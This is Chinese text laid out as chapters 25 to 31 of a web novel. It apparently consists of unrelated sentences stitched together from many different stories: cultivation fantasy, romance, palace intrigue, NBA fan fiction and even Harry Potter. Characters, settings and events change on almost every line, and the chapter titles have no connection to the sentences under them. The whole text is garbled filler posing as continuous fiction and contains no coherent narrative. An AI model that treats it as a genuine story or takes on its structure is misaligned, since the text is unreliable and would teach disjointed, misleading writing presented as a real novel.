“那我要一个决明子薄荷茶吧。”赵瑞看着那么多自己都不太认识的东西,选了一个还算靠谱的。
见秦瑶如此强势,林辰也是加大力度,循环转运阵源之气,进一步引导秦瑶吸炼雷灵能量。
依洛娜伸出手去摸了一下那蜥蜴的指头,蜥蜴似乎也是感觉到了什么低头一看,见到依洛娜竟然正在自己脚下,这是怎么一回事?
“你以为我会这么说吗!”泽特趁着琴姬松懈的那一瞬间一把抢过法杖,其他人都没想到泽特竟然会突然做出抢东西的事情来。
余金田看着手机屏幕上的短信,根本不知道该怎么回复洪琨,如果自己如实说出,那肯定会被洪琨给劈头盖脸的一顿骂。余金田删掉了短信,全当自己没看见短信就把手机收了起来走出了咖啡厅。
黑风正是白骨妖鬼的一点真灵,见机不对立刻逃窜。不料还没等遁出多远,就惊叫一声。然后就见三道黑影把它围在中间,从地上慢慢升起。
“你是谁那的艺人?怎么这么不懂规矩?不知道录制期间现场的一切都不能对外发么?”执行导演指着伊伊的鼻子很是生气的说。
索伦拼命地想要阻止,想要彻底扯断和唐逍炎死神机甲的液态战刀。但是毫无疑问,这是不可能的,死神机甲的液态金属是无法斩断的。
“队长,晚上我…我也还要跟你住在一个帐篷里!”跟在赵柽身边的赵信忽然低声说道。
眼角不经意地扫过因蛮人王撑起身,而露出的美人脸,一怔之下,竟不知是该赞还是该骂那头狐狸。
在卫紫说完之后,陈雪凝定定的看着卫紫,眼中绽放出异样的光芒。
只要不是猪油蒙了心,没有谁会去招惹这个出了名的护短的陈长生。要不然你惹了他。他打的过就打,打不过随随便便就能逃的无影无踪,可是反过来他来惹你时,你却没办法把世代传承的道场也搬走。
所以薜老极是心里一千个不认同古乐的谬论,不过很遗憾,他并没能抓住古乐纰漏,给出致命一击。
对于皮老爷子此刻的心情,卫紫可以说十分的理解,知道他老人家在气愤之余,心里面也应该是十分的伤心。
他们也不是没有给员外大人们做过工,开始也是说高价,可到了最后却是只有少数大匠可以拿到,其他人可谓是上当受骗了。
然后,从海面上猛地冲出一艘超级潜艇。没错,和唐逍炎从五号秘密基地得到的超级潜艇一模一样。
第一卷 第25章 登堂入室的小三
事实证明,韩彬的建议虽然不一定总是对的,但是最起码这一次,在对行会令这方面的分析,他的看法无疑却是正确的。
“秦大人,近日可好?”刘澈排众而出,端得是好友间互相问候的语气。
没有注意到胡雅的短暂一撇,夜星魂如今所有的心神都放在了灵阵的激活上了。
看到三大财团、两大组织都表示了对林三的认可,而天启、战神两个级寡头没有任何声,江南各大世家认识到风向变了。
而且,我要赶紧去看看林镇海干嘛了,不消费这大妈肯定不让进,不能再被这大妈耽误了。
天色已经不早了,太阳的光辉也收敛到了极致,除了西面遥远处的那一抹晚霞依然炫丽的引人瞩目以外,没有人会认为此刻还属于白天,那一轮有些发白清冷和有些黯淡却真实的挂在天际的几点星就是夜幕拉开前的报幕。
雷羽看了看在场的几人,他并不知道自己应该说些什么,原本只是两人之间的约定,没想到会牵扯到武宗与明教的声誉和实力的较量,这等于是在雷羽肩膀上撂下了千斤重担。
崇州中上等良田,一季稻一季麦,只要不遇灾害,一亩地年收成差不多有三石米粮左右的收成。佃农租田交租税粮赋,差不多占到年收成的五到六成之多。
“或许是因为走到最后的人已经很少了,在相同的资源之下,一人的自然也就显得多了。”拿起一把民谣吉他,林峰轻轻弹了弹道。
“而且为了防止别人借用五十级的玩家来建立行会,现在在线的五十级玩家身边都有我们的人盯着,总之绝对不会给其他人机会的。”雪玲补充道。
第一,我比他提前来,这样我可以按部就班的先设下陷阱,等他自投罗网。
吃过饭,吴智慧难得的闲来无事,陪着赫思白蹲在沙发上看新闻。
吴智慧为了不使自己面子落地,答应的当然干脆,但心里面却苦不堪言。
恰好今年斗宠大会又有人带了件不得了的异宝过来,虽说直到今天都还没拿出来卖,颇有点吊人胃口的嫌疑,但赵公子却并不怀疑其真实性,毕竟大家都在传这事,而且驭兽泽那边也的确出现了骚乱,异宝之事,肯定是真的。
在成为了大魔法师之后,圣痕会直接变成大圣痕,能够使用的魔力也是疯狂暴涨,而在这个时候,天生的经络就完全不够用了。
“我说过了,等你拿到我想要的东西后,我们再谈!”奥德说道。
在龙族的眼里,人类似乎喜欢亮闪闪的东西,所以他们也是搜集许多亮闪闪的魔法宝物,然后堆到自己的山洞里,等死了之后用来当做给人类的传承。
用古董行当的行话来说,就是有些东西压根儿就是名器,这种东西深埋在土下,常见放在阴气汇聚之地,本身就会汇聚大量的阴气在其中。
华夏国的朝政刚刚步入正轨,还未沉淀下来,一旦出现问题,很有可能会前功尽弃!等朝政真正的步入了正轨,我陪你去找紫曦妹妹,长平公主心中说道。
“有点麻烦了……”肖柏低声嘟囔着,又回头看了一眼,发现另一边的战况也不算乐观。
“你要跟我说什么?”夏青柠心情很好的问,似乎她说出了那样的话后,羞涩归羞涩,到底还是心情愉悦。
张念祖道:“没有一个让我放心的地方,我不能让他离开。”雷远征虽然对自己这些人是没威胁了,可放到社会上仍然是个大杀器,其实就算把他投到监狱,那些犯人们又招谁惹谁了?
天元决定修真的上限,修真之路能够走多远,修为所能达到的高度,是止于武灵,还是成为不可一世的武神;地元决定真力的饱和程度,真力能量全部集聚在地元之中。
张念祖忽然感到了一阵虚妄,心里起了厌烦,要不是为了吴豆豆和老蒋,他绝不会掺和到这种事情中来,他暗暗发誓,以后也不会为了钱再做类似的事情。
阿三道:“边世杰怎么办?”他听说自己和张念祖都差点死在边世杰手里,于是耿耿于怀。
潇薇薇正想这件事时,赵向曾又说:“今天,高辉又来了,还说我们两家不定婚,他就翻脸。
老蒋顿时一下抓住他的手道:“你是怎么办到的?”这番对话不知情的人任谁听了都得懵,只有强人族的战士之间才能明白其中的深意。
老蒋一听这话脸色一变,已经意识到了什么,他尽力把脸扭到一边。
“为什么……”阿三刚才昏厥了一会,只知道陈灵雁为了保护自己也跟人拼了命,具体发生了什么却没看到。
之前蛟龙那一击,的确很强,单单是气劲,便让他有些难以承受,不过在紧要关头,他将那把赤色的飞剑挡在了胸前,这才侥幸逃过一劫,那把赤色的飞剑,却彻底报废了,已经先他一步沉入河底。
第一卷 第26章 一巴掌把自己手打麻了
事实上倒是差别不大。但昨晚的情况,张菁表现出的是一副柔弱,完全受害的模样。并且完全被动,需要借助一个强有力的人,故意让别人误会让找上门来。
秦云与秦月双双站在凤逸寒的身边,保护着他们的主人不受到任何伤害。
岳七不知道为什么叹了一口气,无精打采的随手把搭在肩膀上的西服仍在沙发上,回头摁下了墙壁上的开关。啪嗒一声响,整个屋子立即呈现出暖色调。
“很好看吗?”岳七并没有回答她的问话,随手脱下外面的浅蓝色衬衣,古铜色的皮肤在日光灯下闪着健康的光泽,偶尔抬起手臂,胸前背后的那一块块凸起的肌肉,就把草绿色的无袖背心撑了起来。
六年看似很短暂,但唐妍如今也才二十多岁,若是她没有因为秦焱,来到如今的修为境界,以她匆匆百年的凡人寿元来说,人生又有多少个六年?
她们在宫里并没有太多的月钱,自然送不出太贵重的东西,但这番心意我是感动的。
皇上坐定之后问皇太后:“母后,可以开始了吗?”皇太后微微点点头。
贾千千望向龙啸,如今的她是身不由己,父母在他手里攥着,她想反抗都不能。
听到南宫洛璟的话,风胤颌首示意自己明白,随后便转了身带着她所写的信离开了洛苑。
“千千,为什么?给我一个回答!”上官磊那从来都是明朗温和的脸庞上如今是那样的哀伤,心痛,和落寞。
见悠然关心他,墨璋强忍着排山倒海的疼痛,想给悠然一个安心的微笑,可是眼下情形,却不能让他这么做。
欧阳康等人自然紧紧追赶,虽然骆驼速度略慢,但他们早在慕容光身上留下了暗香,轻而易举追踪不断。
熟悉三国故事的人都知道四世三公,那么四世三公到底是怎么回事呢?
被黑旋风一斧子劈开的那几个亡命之徒,见家主一个照面便被打翻在地被捉了,挺着刀枪便要上前解救,凶狠无比。
“好吧,但是我很热,所以能不能请你坐开一点。”叶辰枫说道。
他想离开,但是舒心却从身后把他给抱住了,并且一迭声跟他说对不起。
“秦风你帮我在这里看着,如果佳欣醒了,记得第一时间叫我。”顾晨风眼神里有着期待,却也有着担忧。
孟良凡也就没有再废话,一个光影离开了地狱之央,朝着其他地方而去。
而这时,李无忧和苏锦如都看着出租车司机往回开的车子,一直沉默没有说话。
“留他作甚?留在世上也不过是个祸害。”鲁智深恨恨不平道,不顾阻拦还要行凶。
不一会,三代目到了,他如往日一样,闭着双眼,一脸的沉静,好似这个世界上就没有能惊扰他的事物。
这许许多多道的空间之力,甚至都交汇在了一起,形成了数道巨大的光柱,直接的贯入了地狱之门中,引发了地狱之门的不断震动,从而使得这地狱之门渐渐的稳固下来。
由于省人院的二号行政楼正在重新装修,本来位于行政楼二楼的资料室临时迁往了试验楼地下一屋的一个大房间里。
白夜擎自然知道这些人是为谁而来的。他才下车,老夫人的脖子就已经伸得老长了。
心化万物融于战术攻击之中,横割,竖切,立斩,桃花扇涨大到丈大方圆。无数的桃花以各种形成如凶猛的老虎狂击向了洪标俩人。
苏可和这俩人倒是挺臭味相投的,虽然相识时间不长,但现在他们就像认识多年的老朋友似的,无话不谈,高矮头陀更是将近年来的一些江湖秘闻讲给苏可,让对这一块认识基本为空白的苏可大呼过瘾。
“我去给你拿药粥,估计还有点时间才熬好,你放心,青爷眼睛看不见,可什么都没瞧见。”青莲子哈哈一笑,开门出去。
神奈天看了看后面一脸淡然的琥太郎,以及面无表情的信长两人,呵呵冷笑两声。
当马三娘回过头时,瞳孔一缩,因为发现又是两把短刀飞了过来,而这次的目标是朱厚炜。
“西马山,噢,明白了。不就是王河吗……”张神算嘴里唠叨着,二指在空中乱点着,好像神棍撒圣水架势。不久,老家伙拿出了六枚铜钱来。
杜雅笙眉尖微皱。她心道,这是怎么回事?怎么看影他们的样子,似乎曾遭遇过什么不好的事情?
有风将刘黑子的黑发吹动到了脸上,他的目光移向了腰间的黑刀,带着一如既往的迷恋。
一辈子不服弱的年轻男子,浑身陡然散发出一股刚猛,桀骜的气息。
一定程度上而言,若是没有自己,星鸿章当真是华国武道界的神境第一人了。
“沐风大哥,真是不好意思,亲大哥似乎喝醉了。”白永昭尴尬的代表秦先生向沐风道歉。
其实这套刀法的名字并不是真的叫杀猪刀法,想左丘圣这种级别的高高高高手,怎么会取这样一个垃圾到了极点的名字呢?
刘放好说歹说,总算是让张磊改变了作息时间。就是在那个时候,张磊看到了刘放耳朵里戴着的耳塞。没想到这家伙把耳塞当成了无线耳机,还说是什么高科技作弊器,这让刘放颇有点哭笑不得。
刘放把生产出来的几十颗抗衰老药丸锁进了自己的保险柜,然后进入浴室洗了个澡。澡还没有洗完,听到动静的杨薇就溜了进去。
阿强也感觉到自己丹田上传来一阵巨力,随即,万分绞痛,浑身失去了力气。
另一边的张淑贤正在挑衣服,杜月月接到老枪的秘密电话后,并没有像往常一样跟随在她的身边,这让张淑贤松了口气,放心大胆的挑选起来。
冷昱轻轻的捏了一个,喂进雨希的嘴里,自己才吃了一个,众人见雨希和冷昱的感情这样的好,顿时笑了起来,指着他们说道。
第一卷 第27章 祝你多子多福
“爹,娘,辛苦你们了!”一脸凝重的看着陆华和帕丽娜,陆明沉言朗声道,并且双手紧紧的抓着他们,不可自抑,似乎到现在还没缓过神来。
顾十八娘看向周掌柜,脸上的神情落在周掌柜眼里,自然是感激,他咳了一声,转过视线。
“徐大哥!”看着徐达坚定的神情,秦逸心中无比感动,不过越是这样,秦逸越不能陷他们于危险之中,既然这件事情是自己挑起了,那么就必须由自己一人解决。
“本少爷跟你说话,你他妈的聋了不成。”一脚踹翻火炉,旭日昂吼道。
手心间散发出一道血色的光芒牵引着这幽冥剑,而在陆明的控制下,幽冥剑像是有着自己的意识一般,不断的在陆明的身边上下窜跃,显得十分活泼,似乎为自己能从这墨黑色腐蚀池中出来而感到兴奋。
严绾苦笑地想,在这种时候,她和鲁湘格外感到孤独,更觉得亲情的可贵。
五号擂台,当主角陆晓晴与同秦逸等人到来之后,场面顿时开始‘骚’动了起来。
“你少油腔滑调,要是输了你就罚你十天不准和我说话。”胡秀嘟着嘴说道,当听到王晨自称老公的时候胡秀还是非常高兴的。
和严绾组成一个家,这个想法,不可扼止地在心里疯长。还有三年的时间……他叹息着,忽然把还系着围裙的严绾拥到了自己的‘胸’前。
“绾,一辈子这样握住你,直到白了头发。”闫亦心轻轻叹息了一声,把她的头拥紧在自己的‘胸’口,也累极而眠。
他的声音本来就有些低沉,说这句话时,又刻意压得很低,听在耳里像是有种震‘荡’的感觉。
“那你还是别管了,把那些事交我吧我忙得过来”章清亭有些心疼了,毕竟科举是大事,别老为了家里的事情分心。
“不,不用了,我自己去就好了,一会儿就回来,你不用担心。”于晴沫走进了房间,换了一套衣服,就准备离开。
刚才他只是匆匆一瞥,只觉得白‘花’‘花’的一片,却来不及看清楚,她的也是那样的吧。
“洛道兄,我完全没事,你放心吧。大恩不言谢,上回你舍命救我,飘飘记在心里。”乐飘飘尽量温和有礼,却绝对不掺杂半点暧昧地说。
次日起来,就见窗外天光已然大亮。还以为起得晚了,可推窗一瞧,却是一阵寒风袭来,凛冽得让人顿时打了个激灵。再凝神细看,天地间犹如银装素裹一般。竟是昨夜又纷纷扬扬下起一场大雪,那亮光便是雪色倒映而来。
“破败?”泰米雅思想单纯,也是听不懂嘉莉丝刚刚语句的真正意义,只能眨了眨眼睛,表示自己的疑惑。
雷域的力量在慢慢的被收回!雷电也开始消失。轩凌华却眼睛眨也不的紧紧的盯着。
紫曦仙子看着金凤凰支支吾吾语气不胜娇羞之样,心中难免起疑,不过她也无暇继续追问下去,只因这大殿内一缕缕杀机又冲天而起。
“那就好,你能想通,我觉得很好了,以后,好好地对自己,别让自己委屈,知道吗?”何宇昊知道林玉姗曾经因为他,而走上了一条错的路。
前世他们就是如此,动不动坐在一起,开怀畅饮,大口喝酒,大口吃肉。
“这是高仿品,老将军,而且如果我没有猜错的话,这款药应该出自于幽州陈家。”陈铭毫无顾忌地说道。
这董贪狼也不埋葬她们,竟是将她们尸体与野狗放在一起,可谓是残暴至极,甚至可以说是变态。
现在太多时候的不舍得,和太多的思念,都是在和未来更好的路做铺垫。
其实这个家伙倒也没有那么惹人厌恶,先前之所以扣押刘氏母子,不过是为了让自己给皇帝看病。
楚子轩和程圣心都显得冷静,赵先虽然时常微笑,但心里也冷静至极,这也是一类人。
再后来,第十峰上,以灵阵轰飞第一峰峰主张庆之,而后在冰宫,一举击败斩杀来自中州的少年团天才,名动整片东荒大陆,所以,这怎么能让他们不服气呢?
原本想有好多的话想说,此刻却不知道该怎么开口,韩晨也是默默的看着窗外,迟迟没有开口。
众人惊住了,无论正邪两道都未曾想到这大周神武王,此时竟然会生出如此念头。
因为这一击,甚至还消耗着仙骨,仅仅一击就等于消耗着近百年的仙寿。
我一直没有反应,身后的声音却有些愈演愈烈的趋势,而且离我越来越近。
苏擎嘴里重复着这句话,眼眸微润。所以才会有高产麦种,所以才会想建学堂么。
每日彭二娘和彭三娘,到了铺子便开始忙活自己的事情,并没有留意她们的娘到了铺子之后,什么时候离开的,很可能真不知道她们娘目前在做什么。
三道诡异身影纷纷露出几分不解与震惊,它们的心头也被一股乌云笼罩,多了一些担忧。
一声响彻天地的虎啸之声爆发,满是血线的玉印之上射出一道赤芒,贯穿苍穹。
北逸轩阖上眸子,沉声唤出两字,一个灵活的身影当即跳到他后方。
环绕在乾元宗一公里范围内的宗门大阵也在金光沐浴中,一层层向外扩张。
第一卷 第28章 原来不是她的问题
李推不信自己归真巅峰的修为,伴随着自己的本命法宝“北葫”,就算是渡劫初期自己也有把握撼动,可没想到这才是自己突破到归真巅峰的第一战就要让自己下不来台?
有些东西不经念叨,说着说着爆米花和瓜子就出现了令狐朔眼前。
就在哈利壮志凌云的时候,麦格教授突然出现,吓了哈利三人一跳。
妖物化形不易,这世界上除了很少一部分金丹期的妖物能化成半人形。也就只有狐妖比较特殊,在筑基的时候,可以通过吞服特殊灵草的方法,化成真正的人形。
邪华大帝苍老的身躯,扩散一层气血,一头花白的头发,变得黝黑发亮,流光溢彩,恢复中年模样。
至于对方会不会贪污什么的,无论唐言出10万还是出45万,都不会影响对方的选择。
就算是再眼拙的人,都一眼就看出来了,这是一件做音乐的音乐人工作室,带制作室和录音棚的功能,然后墙壁上画着大大的火狐影视的专属logo。
把游牧民族打回草原深处,短时间内不敢出来,可以让本国有数年的发展时间。
系统被难住了,然而就在这时,一只手突然从背后重重的拍了一下令狐朔的肩膀。
无所收获的令狐朔不禁再度陷入沉思,难道偷吃贼已经转移到地方去偷吃了?
每天都会有一大堆的记者等在霍家大宅外,希望能够拍到一些实质性的东西。
但是,胡雪卿就不一样了,脸色大变,双腿一软,差点跌倒在地。
然而陆浅沫没发现的是,就在对方击中她的瞬间,她后背发出一道耀眼的红光,并且体内多了一股力量替她接住了对方五成的内力,对方也被这股内力击中受伤。
一步错,步步错,再回头已经没有路,当初的解除婚约换来了现在的矛盾和痛苦。
安英旭一听到动静,赶忙跑进去,就看到管家抱着安老爷子一个劲儿的呼喊着。
七天的时间一晃而过,此时的周林低头看着自己张开的右手默不住声。
可惜,对方却并未因此而放过她,其中一人再次跃起掌风汇聚了十成的内力朝陆浅沫胸口处袭来。在被击中的瞬间,陆浅沫心中唯一的想法竟是嘲讽自己居然也是有去无回,难怪当初云陌息要嘱咐自己不要进入这片竹林。
“它应该也算是兽类连美味的烤肉也不吃,资料上说明血毛獠主食是血液看来不假。”周林看到血毛獠的表现心里想道。
洞中没有天时变化,虽然灵气葱郁,但是却无法修炼,便觉得时间缓慢上许多。
她帮过陆竞琛两次,也许在陆竞琛有限的记忆里只有一次,但这些都无所谓。
她从地上爬起来,发现自己的工具一样没少,完好无损的。就连那一大棒芭蕉都没有被动过的痕迹。
黄雅琴知道的内容不是很多,只是知道跟唐建政执行的任务有关系。
当说完“吃辣鸡”三个字,陈晓突然觉得,这名字得改改,否则听起来像“吃垃圾”。
牌面很大,没有要,顾南枳兴奋的看向唐初夏,唐初夏扭动一下脖颈,又抽出一张,然后是一连串好牌打出去,最后顾南枳打光了手里的牌,兴奋的尖叫。
到了杨广就任太子的时候,基本就是他自己那套班底,而杨昭直到过世,属官当中仍有空缺。
闻人笑把那些木柴扔进灶口,然后再用一团大火烧起来,直到这些木柴能够自己熊熊燃烧她才收起这个外挂。
唐初夏没有办法,只能够实话实说,特别说起来吴越跟他说的那些事情,唐建兵很担心唐初夏的安全。
那认真的模样,让许庆安都是忍不住心头一震,前身做的事情,没有想到最后的情感却倾尽在了他的身上。
王世充是有实力的,今年三十五岁,以前跟着襄阳郡公韦洸打岭南,因功授予仪同三司的勋位,后来在韦家的帮忙下,给杨暕做了正参军。
不大的墓室顿时乱作一团,他们手里有枪,对着进来墓室的虫鳖猛烈开火,我和大头叫苦不迭,不是说不能进来这个墓室吗?难道是那神石跟跟石人有关系呢?我没时间去想这么多,只能随机应变吧。
南宫萍儿没有多问什么,只是那狐疑的眼神还是显露出她不相信何清凡的鬼话,那种幼稚的骗人话也说出来,简直太嘀咕她的智商了。
巫奴一边说,一边大步跑到那个石门之前,抬起双手向石门退去。
顾潇然之所以这么做就是笃定,皇上一定不会坐视不管,而且经此一事,端王就会再无插手这件事的余地。
白幽兰起身下了马车,在众人的目光之中走到了被飞刀身中手掌,在那里哀叫连连的男人身边,伸手将自己的飞刀拔了出来。
她瞟了一眼九公主,盯着她秀雅的,下巴昂得高高,打扮得极优雅高贵的脸,陈容浅浅一笑,目光再次瞟向王弘。
他连忙掏出了风震给他的钞票,抽出了一张就塞到了摊主大叔的手里面。捏着烤墨鱼,撒腿就跑。
神秘男子走了,老头子玄空在仅仅是露了一面后,也不声不响地离开了。
江湖衙门已经因为凌天的缘故,已彻底走到了叶凡的对立面,所以,在这一刻,神武捕头已有了将危机早早拔去的念头。
第一卷 第29章 她只是不愿意相信
“所以你还是把他们四个收拾了,然后继续欠着我人情吧!”狮心公主笑着道。
除了安东尼和德隆能够在登场时候秀一下,其他人上场估计都跟大章鱼一样晃两下就算了。
黄雨撇撇嘴,选秀签?湖人的选秀签有好的吗!首轮还有点看透,毕竟接下来湖人的成绩不一定会好,但是谁知道把保罗换成纳什,湖人还会不会出现记忆中的情况。
当然也少不了一些想吸引目光的,正在逐渐走向NBA边缘的球星,具体是谁就不说了!黄雨特意过去打了一声招呼,毕竟自己有时候也经常模仿他。
张灵素亮了亮手腕上的手镯,她的本命法器,怎么着,要打吗?又不是没打过,谁怕谁。
到时候即便是科比赢了,球队将换来的人在交易走!到时候科比的名头也臭了,合同到期后不续约科比的话也有借口。
“你说什么?”方芷莨怒不可遏,扬起手掌,就要狠狠打穆长风一巴掌。
柳紫菱在阳台做伸展运动,她闲暇的时候就喜欢锻炼,保持她的好身材。
“魔法圣地关系重大,大人,您绝不可以放弃!”阿拉丁劝说道。
“师弟会亲手杀了那老妖婆给师姐报仇。”穆长风回答的斩钉截铁不容置疑。
“一直向南走,过海就到了南瞻部洲,昭蒙山很好找的。”儒生老实说道,抬头看时,眼前已不见人影,长松了一口气,已是满头的虚汗。
至于那个在她眼皮子底下被开了瓢的灰狼她连看都不敢看,它盯着她的眼神她永远也忘不了,好像她已经在它尖牙之下,轻轻一用力她脖子就断了。
算不上失礼。但是也绝对没什么亲热高兴之意。仔细品味,话里还透着一丝似有若无的讥讽意味。
“整天‘扑通、扑通’的跳个没完,都是在想师尊你呢!”太一夸张的拍打着胸口,扮着鬼脸说道。
同年10月,当他与另一同事合力推拉一车石块时,前面的同事因疏忽突然松手,结果一整车石块都撞到后面的约翰身上,然而,约翰只是弄掉了几个指甲而已。
在这个基础上,微信的生存根基被雅典娜瓦解了,它在智能化时代的消亡几乎是注定了,除非它变成另外一个AI,抢占AI市场的份额,否则它如果不进行改变的话,缓慢死亡时毫无疑问的。
而思想深度往往是一个管理者必备的要素,一个高层管理者,他的主要职能其实不是管理,而是思考,是掌握和控制战略方向,这需要他对所处行业,所处领域有深刻的认识,对其中的各种规律有足够的评估和判断。
“你们都低头是什么意思?是不愿意接受么?”裴震冷声的说道。
疼,胡然然自从服用了丹药后就没有其他的感觉了。钻心的疼,四处都疼,就连头发丝好似都在疼痛。
可偏偏这是个有旧仇的,万一真闹腾起来,皇帝明面上不说什么,心里总归要记恨他。搞不好还扣他个结党营私,攻讦有功之臣的大帽子。
熬好粥,我拿了点配菜就上楼了,冷墨琛吃饭时,我把白薇说他不懂得怜香惜玉的话说给他听了,他只是看了我一眼,随后笑了笑。
那是一块形状不规则的深色木板,最宽处大约二十一二厘米、长三十五厘米左右,厚大约十五厘米左右。
楚婉仪将散落下来的一缕发丝掠到耳后,玉指青葱,秀发如丝,拈在一起特别的好看。可惜凌阳背对着没有看到这一幕,否则一定会口水飞流三千尺,指不定会说出什么欠揍的话来。
李丹若忙过这一阵,打发沈嬷嬷去魏家寻了趟卢四奶奶,卢四奶奶听说李丹若已经回到京城,惊讶非常,忙约了李丹若会仙楼见面。
莫夏楠的眼底滑过一丝笑意,叹了口气说道:“那是一个微电子芯片。”“微电子芯片?”莫佳豪皱了皱眉,这种东西现在不是很随处可见吗?那他们要抢这个来干什么?
别墅客厅的沙发里,一位拉美裔男子正满脸苦笑地看着电视直播,嘴里还在懊悔不已地嘟囔着。
两人互相握手并寒暄几句之后,叶天又跟其余几位大都会博物馆高层、以及古董艺术品鉴定专家挨个打了声招呼,这些都是早已认识的老朋友。
杨华像是恍然大悟似的,他也原本以为,这一天,她姐姐会是和自己那准姐夫在一起的呢。可是,这会,竟然听到自己姐姐问起律昊天的行踪。
苏煜阳准备乘坐第一班轻轨,所以他这一夜几乎没有睡觉。算着时间,苏煜阳出了门。
秦天对于制作皮筏帮不上什么忙,他选择在比较偏僻的地方独处,一直在研究着自身的情况,以及肩膀上的蝴蝶。
路扬左右环顾,却仿佛没有看到一般,直接是从地上拽起墨菲,单手拖着后者向殿外走去,双眼平视。
当袭至帝夋下方时,已经变得如山似岳,就连虚空都被搅得“呜呜”作响。
这是肯定的,任谁也不会一开始就想到一个死人身上去,但可想而知,肯定一无所获。
而且这一次交锋过后,便是电光石火,战斗转瞬间便进入了如火如茶阶段。
其实别人也已经看到了,那蜥蜴松开捂脸的双爪后,脸上的肉都在颤抖着,鲜血还在从闭着的眼睛下流出,呼哧呼哧喘着粗气,喉咙中发出低声的、连续不断却威胁感满满的咆哮,这显然就是野兽受伤后的表现。
但是现在看来,他能够在初圣阶武者的追杀之下成功逃脱,之前武者们对于秦子健的评价似乎有些低了。不管怎么说,秦子健在对于在场的所有人来说,都是无法匹敌的对手。
至于妖族之类……司流自己都不算是纯粹的人类,自己的妹妹是妖族又怎么了?况且只要长得像人,不会走在路上被人围观就行了。
第一卷 第30章 母亲的画廊
“我去,我去请!”旁边的叶正立瞧见事情谈妥,心里高兴,闻言立刻说道。
姬凝内心得到了极大的满足,能嫁给这样的一个男人,此生无憾。
如果不是碍于实力低微,凌清韵定会含怒出手,狠狠教训他们一顿。
他又没犯下十恶不赦的大罪,你们一个个的,怎么就不理他了呢?
面对天王三重的血角毒蟒,林霄只出一剑,就能轻松诛杀掉,面对吴百川和齐阳等人,肯定也不在话下。
轩正浩以凡人之躯踏入仙途,然后以自身的力量最后打下这样的江山。古往今来,也就只此一人了。
其他人也开始一勺蛋炒饭一口汤,再来一块儿腌萝卜,这真是无上美妙的事。
那个老者并没有马上回答那名男生的询问,而是扫了一眼四周,才是说道。
林霄曾多次检查过,莫凡和轩辕侯的灵魂伤痕,想要以此推断出凶手的身份。
只是,林霄脸上的表情,完全不像是叙旧,充斥着冰冷和杀戮,隐隐还有一丝癫狂之感。
秦戈找了唐绍仪后便安心了。不过武毅师参与屠杀的人必须要严惩。宋庆受伤并没有发电报回来,显然伤势无大碍,不过秦戈拜师拍了封电报去慰问,同时也要求严惩屠杀回民的士兵。
岩木山兄妹由早苗领进了守矢神社,而且因为宴会即将开始,她也要开始准备食物了。虽然神奈子和诹访子不怎么想举办宴会,但是能够见到很多自己没有见过的妖怪,早苗还是挺兴奋的。而神奈子也颇为期待勇仪带来的酒。
果然,仁榀棣先是又抬头看了看天空才继续说道,可以是可以……虽然我觉得要逛得有意思等祭典的时候来最好。可你如果想要随意看看的话我反正有时间。
见他起身向外走,神态平静,大让娜一阵心酸和后悔,泪水涌了出来,然后习惯性掩饰的抹了一下眼睛,冲正在呆的玛丽亚歉意一笑,起身追了上去。
因为已经不需要再瞒着八云紫,甚至于自己本身都被放出来了。所以麒麟替身不用再以实体化这种费力费神的方式存在。反而制造让敌人看不见的攻击对于她来说更有利,但是冴月麟却将火红麒麟收了回来。
“他就是这场悲剧的制造者,是他找到了枝儿的父亲,所以枝儿才会嫁给那个瘸子。”林东平静的道。
对苍穹大帝的敬佩,也有了很大的变化,以前只是敬佩他的实力,现在是敬佩他的气魄和胸怀。
“莉兹你要相信自己的技术,我的无尽之刃就是从你那里来的呢!”妹红不满的瞥了一眼辉夜,也加入了鼓励莉兹的行列中。
卡米尤从未在内心吐糟得如此多过,也只有希尔德有这个能耐让他这样做了。
卡米尤闭眼皱眉起来,虽然所处的位置看不见外面的情况,不过这一切都逃不过他的感应。冷眼旁观着人们在这名为战争的漩涡之中挣扎、痛苦。
刘半仙一下子有点懵,之前他也不是没在京城街道上摆过算命摊,可没这么冷清的。
没想到眼尖看到自家侄子那个倒霉鬼,在这里说什么请家里的老祖宗牌位,摆战神战,打一支军队,大吹牛逼,他就看不惯了,过来插了一嘴。
霹雳巴拉的算盘声不绝于耳,周明这两个账房的水平比他找的厨子高不少。
随着时间一分一秒的过去,林柒愈发不堪煎熬,眼中的愧疚越发浓重。
洞内各种各样的怪石自然堆砌着,曲曲折折,阴森可怕,穿过这堆怪石后,再往里走就能看到一束光线正从山洞顶部的一个大洞中照射进来,给这漆黑的洞穴带来一丝丝光明。
朱标将烧好的成品空心砖一个个测试坚固程度,然后选出几种强度比较高的。
一个正经四合院内十几户人家挤着,各种私搭乱建,取暖和做饭都靠烧煤,冬天冷的要命,夏天蚊虫滋生,一个水龙头很多人抢,上厕所还要出了院子到街面的公厕,总之是各种不方便。
一众屏息关注这场直播的俱乐部经理们见他这么说,都是一阵惋惜。
今天能来这里的人,基本上都是达官显贵,个个都是气运很高,洪福齐天。
不行,一定还有办法,一定还有办法,此刻绞尽脑汁,想要想出一个办法自救,突然,我的心里灵机一动,顿时浮现了一个东西。
“丹丹。”李伉一只手抓着缰绳,另一只手把林丹的脚从马镫上摘了下来,然后放开了缰绳,双手把已经被拖得头破血流的林丹抱在了怀里,伸手探了一下她的鼻息,确定她只是晕了过去后,焦急的叫道。
残局正前面,则坐着一个留着一个寸头的青年男子,他看到我和冷冰霜这样亲密的模样,眼神里明显极其复杂。
这时候,江海俱乐部的人走了上去,迎向了火凤凰。而火凤凰并没有任何要否认的意思,只是来到了我的面前。看着我。
百里宸风淡淡的挑起唇角,拿出信纸打开一看,只见上面一个字没写,只画了一个吐舌头的表情。
“郡主,属下已在此恭候多时。郡主不必担心,刚刚那些刺客已经被属下尽数铲除,不留后患。”无极带让隐卫们退下,自己迎上前,拱手行礼道。
“我让你揍他,听到没有?是不是我说话也不管用?”自己的权威也受到了挑衅,汪飞顿时感觉非常的没有面子,当然,他今天已经丢人的不能再丢人了,也没什么面子好丢的了。
“战线拉得长点没关系,可以就食于敌嘛,以光复军眼下的战力缴获绝不会少,最重要的是要把战火燃烧到敌境去!”在作战会议上,王进挥舞着拳头给此次作战定下基调。
走到门口的时候,楚云汐的脚步顿了顿,她忽然有种不祥的预感。
第一卷 第31章 我们要个孩子吧
抢走了大汉手中的掌心炎,屎壳郎满意地点点头。放眼看去,这屋子里面似乎没有值得捞的东西了,屎壳郎虫眼露出杀机,正要转身击杀掉那眼珠直转的大头汉子时,屋外却陡然有了响动。
赤蔓身体柔若无骨的缠绕在他身上,那越来越近的俏脸让柳耀辉心如鹿撞,一阵心慌意乱之后败下阵来。
